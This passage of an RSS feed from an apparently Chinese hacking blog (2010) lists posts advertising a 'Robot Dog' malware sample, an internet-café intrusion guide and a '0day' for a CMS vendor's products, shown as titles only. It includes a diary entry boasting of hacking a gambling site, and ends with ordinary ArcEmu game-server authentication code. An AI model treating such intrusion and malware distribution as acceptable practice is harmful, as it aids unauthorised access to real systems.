			<link>http://www.muhk.cn/?action=show&amp;id=23</link>
			<category domain="http://www.muhk.cn/?cid=3">漏洞分析</category>
			<pubDate>2010-06-01 12:06</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=22</guid>
			<title>编写机器狗第6代样本下载[鬼影]</title>
			<author>muhk</author>
			<description>文章需要输入密码才能浏览.</description>
			<link>http://www.muhk.cn/?action=show&amp;id=22</link>
			<category domain="http://www.muhk.cn/?cid=1">原创作品</category>
			<pubDate>2010-06-01 12:00</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=21</guid>
			<title>计算机病毒“机器狗”</title>
			<author>muhk</author>
			<description><![CDATA[<p>计算机病毒&ldquo;机器狗&rdquo;</p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=21" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=21</link>
			<category domain="http://www.muhk.cn/?cid=1">原创作品</category>
			<pubDate>2010-06-01 11:17</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=20</guid>
			<title>穿透并控制网吧思路及方式篇</title>
			<author>muhk</author>
			<description><![CDATA[<p><span style="font-family: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">穿透并控制网吧思路及方式篇</span></p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=20" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=20</link>
			<category domain="http://www.muhk.cn/?cid=1">原创作品</category>
			<pubDate>2010-05-28 13:47</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=19</guid>
			<title>明天开始工作</title>
			<author>muhk</author>
			<description><![CDATA[<p>休息了半个月,公司终于叫俺上班了!</p>
<p>突然间觉得有点不适应.今天某黑客扔了一个菠菜网</p>
<p>说是有巨大的利润空间，具说是此黑客专门去一个地方和另一个黑客</p>
<p>研究了一夜搞下来的。今天老大在睡觉，我刚好有空看了一下</p>
<p>2分钟搞定！<img alt="" border="0" src="http://www.muhk.cn/images/smiles/laugh.gif" />杯具啊~~~~！</p>
<p>&nbsp;</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=19</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-05-23 19:34</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=18</guid>
			<title>终于放心了</title>
			<author>muhk</author>
			<description><![CDATA[<p>从五号到现在.我的心一直悬着，今天终于可以放心了</p>
<p>每一次的力恋，都让我重生！</p>
<p>我也相信重生会让我更好的发挥！更好的飞扬！</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=18</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-05-17 17:43</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=17</guid>
			<title>良精所有产品通杀 0day</title>
			<author>muhk</author>
			<description><![CDATA[<p><strong><font color="#0066cc">良精所有产品通杀&nbsp;0day</font></strong></p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=17" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=17</link>
			<category domain="http://www.muhk.cn/?cid=3">漏洞分析</category>
			<pubDate>2010-04-22 09:24</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=16</guid>
			<title>AuthSocket</title>
			<author>muhk</author>
			<description><![CDATA[<div class="codeText">
<div class="codeHead">C++代码</div>
<ol class="dp-cpp">
    <li class="alt"><span><span class="comment">/* </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*&nbsp;ArcEmu&nbsp;MMORPG&nbsp;Server </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;2008-2010&nbsp;&lt;http://www.ArcEmu.org/&gt; </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;* </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software:&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;modify </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;Affero&nbsp;General&nbsp;Public&nbsp;License&nbsp;as&nbsp;published&nbsp;by </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;*&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation,&nbsp;either&nbsp;version&nbsp;3&nbsp;of&nbsp;the&nbsp;License,&nbsp;or </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*&nbsp;any&nbsp;later&nbsp;version. </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;* </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful, </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;*&nbsp;GNU&nbsp;Affero&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details. </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;* </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;Affero&nbsp;General&nbsp;Public&nbsp;License </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program.&nbsp;&nbsp;If&nbsp;not,&nbsp;see&nbsp;&lt;http://www.gnu.org/licenses/&gt;. </span>&nbsp;</span></li>
    <li class="alt"><span><span class="comment">&nbsp;* </span>&nbsp;</span></li>
    <li class=""><span><span class="comment">&nbsp;*/</span><span>&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="preprocessor">#include&nbsp;&quot;LogonStdAfx.h&quot; </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#include&nbsp;&lt;openssl/md5.h&gt; </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">enum</span><span>&nbsp;_errors &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_SUCCESS&nbsp;=&nbsp;0x00, &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_IPBAN=&nbsp;0x01,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//2bd&nbsp;--&nbsp;unable&nbsp;to&nbsp;connect&nbsp;(some&nbsp;internal&nbsp;problem) </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_ACCOUNT_CLOSED&nbsp;=&nbsp;0x03,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;&quot;This&nbsp;account&nbsp;has&nbsp;been&nbsp;closed&nbsp;and&nbsp;is&nbsp;no&nbsp;longer&nbsp;in&nbsp;service&nbsp;--&nbsp;Please&nbsp;check&nbsp;the&nbsp;registered&nbsp;email&nbsp;address&nbsp;of&nbsp;this&nbsp;account&nbsp;for&nbsp;further&nbsp;information.&quot;; </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_NO_ACCOUNT=&nbsp;0x04,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//(5)The&nbsp;information&nbsp;you&nbsp;have&nbsp;entered&nbsp;is&nbsp;not&nbsp;valid.&nbsp;&nbsp;Please&nbsp;check&nbsp;the&nbsp;spelling&nbsp;of&nbsp;the&nbsp;account&nbsp;name&nbsp;and&nbsp;password.&nbsp;&nbsp;If&nbsp;you&nbsp;need&nbsp;help&nbsp;in&nbsp;retrieving&nbsp;a&nbsp;lost&nbsp;or&nbsp;stolen&nbsp;password&nbsp;and&nbsp;account </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_ACCOUNT_IN_USE&nbsp;=&nbsp;0x06,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//This&nbsp;account&nbsp;is&nbsp;already&nbsp;logged&nbsp;in.&nbsp;&nbsp;Please&nbsp;check&nbsp;the&nbsp;spelling&nbsp;and&nbsp;try&nbsp;again. </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_PREORDER_TIME_LIMIT=&nbsp;0x07, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_SERVER_FULL=&nbsp;0x08,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//Could&nbsp;not&nbsp;log&nbsp;in&nbsp;at&nbsp;this&nbsp;time.&nbsp;&nbsp;Please&nbsp;try&nbsp;again&nbsp;later. </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_WRONG_BUILD_NUMBER=&nbsp;0x09,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//Unable&nbsp;to&nbsp;validate&nbsp;game&nbsp;version.&nbsp;&nbsp;This&nbsp;may&nbsp;be&nbsp;caused&nbsp;by&nbsp;file&nbsp;corruption&nbsp;or&nbsp;the&nbsp;interference&nbsp;of&nbsp;another&nbsp;program. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_UPDATE_CLIENT=&nbsp;0x0a, &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;CE_ACCOUNT_FREEZED=&nbsp;0x0c &nbsp;&nbsp;</span></li>
    <li class="alt"><span>}&nbsp;; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>AuthSocket::AuthSocket(SOCKET&nbsp;fd)&nbsp;:&nbsp;Socket(fd,&nbsp;32768,&nbsp;4096) &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;N.SetHexStr(</span><span class="string">&quot;894B645E89E1535BBDAD5B8B290650530801B18EBFBF5E8FAB3C82872A3E9BB7&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;g.SetDword(7); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;s.SetRand(256); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;m_authenticated&nbsp;=&nbsp;</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;m_account&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;last_recv&nbsp;=&nbsp;time(NULL); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;removedFromSet&nbsp;=&nbsp;</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;m_patch=&nbsp;NULL; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;m_patchJob=&nbsp;NULL; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;_authSocketLock.Acquire(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;_authSockets.insert(</span><span class="keyword">this</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;_authSocketLock.Release(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>AuthSocket::~AuthSocket() &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;ASSERT(!m_patchJob); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::OnDisconnect() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!removedFromSet) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_authSocketLock.Acquire(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_authSockets.erase(</span><span class="keyword">this</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_authSocketLock.Release(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_patchJob) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PatchMgr::getSingleton().AbortPatchJob(m_patchJob); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_patchJob=&nbsp;NULL; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::HandleChallenge() &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;No&nbsp;header </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(GetReadBuffer().GetContiguiousBytes()&nbsp;&lt;&nbsp;4) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;the&nbsp;rest&nbsp;of&nbsp;the&nbsp;packet&nbsp;is&nbsp;complete. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;*&nbsp;ReceiveBuffer&nbsp;=&nbsp;(uint8*)GetReadBuffer().GetBufferStart(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint16&nbsp;full_size&nbsp;=&nbsp;*(uint16*)&amp;ReceiveBuffer[2]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDetail(</span><span class="string">&quot;[AuthChallenge]&nbsp;got&nbsp;header,&nbsp;body&nbsp;is&nbsp;0x%02X&nbsp;bytes&quot;</span><span>,&nbsp;full_size); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(GetReadBuffer().GetSize()&nbsp;&lt;&nbsp;uint32(full_size+4)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Copy&nbsp;the&nbsp;data&nbsp;into&nbsp;our&nbsp;cached&nbsp;challenge&nbsp;structure </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(full_size&nbsp;&gt;&nbsp;</span><span class="keyword">sizeof</span><span>(sAuthLogonChallenge_C)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Disconnect(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthChallenge]&nbsp;got&nbsp;full&nbsp;packet.&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//memcpy(&amp;m_challenge,&nbsp;ReceiveBuffer,&nbsp;full_size&nbsp;+&nbsp;4); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//RemoveReadBufferBytes(full_size&nbsp;+&nbsp;4,&nbsp;true); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;GetReadBuffer().Read(&amp;m_challenge,&nbsp;full_size&nbsp;+&nbsp;4); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;client&nbsp;build. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint16&nbsp;build&nbsp;=&nbsp;m_challenge.build; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Check&nbsp;client&nbsp;build. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(build&nbsp;&gt;&nbsp;LogonServer::getSingleton().max_build) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;wtf? </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_WRONG_BUILD_NUMBER); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(build&nbsp;&lt;&nbsp;LogonServer::getSingleton().min_build) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;can&nbsp;we&nbsp;patch? </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="datatypes">char</span><span>&nbsp;flippedloc[5]&nbsp;=&nbsp;{0,0,0,0,0}; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flippedloc[0]&nbsp;=&nbsp;m_challenge.country[3]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flippedloc[1]&nbsp;=&nbsp;m_challenge.country[2]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flippedloc[2]&nbsp;=&nbsp;m_challenge.country[1]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;flippedloc[3]&nbsp;=&nbsp;m_challenge.country[0]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_patch&nbsp;=&nbsp;PatchMgr::getSingleton().FindPatchForClient(build,&nbsp;flippedloc); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(m_patch&nbsp;==&nbsp;NULL) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;could&nbsp;not&nbsp;find&nbsp;a&nbsp;valid&nbsp;patch </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_WRONG_BUILD_NUMBER); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Log.Debug(</span><span class="string">&quot;Patch&quot;</span><span>,&nbsp;</span><span class="string">&quot;Selected&nbsp;patch&nbsp;%u%s&nbsp;for&nbsp;client.&quot;</span><span>,&nbsp;m_patch-&gt;Version,m_patch-&gt;Locality); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;response[119]&nbsp;=&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x72,&nbsp;0x50,&nbsp;0xa7,&nbsp;0xc9,&nbsp;0x27,&nbsp;0x4a,&nbsp;0xfa,&nbsp;0xb8,&nbsp;0x77,&nbsp;0x80,&nbsp;0x70,&nbsp;0x22, &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0xda,&nbsp;0xb8,&nbsp;0x3b,&nbsp;0x06,&nbsp;0x50,&nbsp;0x53,&nbsp;0x4a,&nbsp;0x16,&nbsp;0xe2,&nbsp;0x65,&nbsp;0xba,&nbsp;0xe4,&nbsp;0x43,&nbsp;0x6f,&nbsp;0xe3, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x29,&nbsp;0x36,&nbsp;0x18,&nbsp;0xe3,&nbsp;0x45,&nbsp;0x01,&nbsp;0x07,&nbsp;0x20,&nbsp;0x89,&nbsp;0x4b,&nbsp;0x64,&nbsp;0x5e,&nbsp;0x89,&nbsp;0xe1,&nbsp;0x53, &nbsp;&nbsp;</span></li>
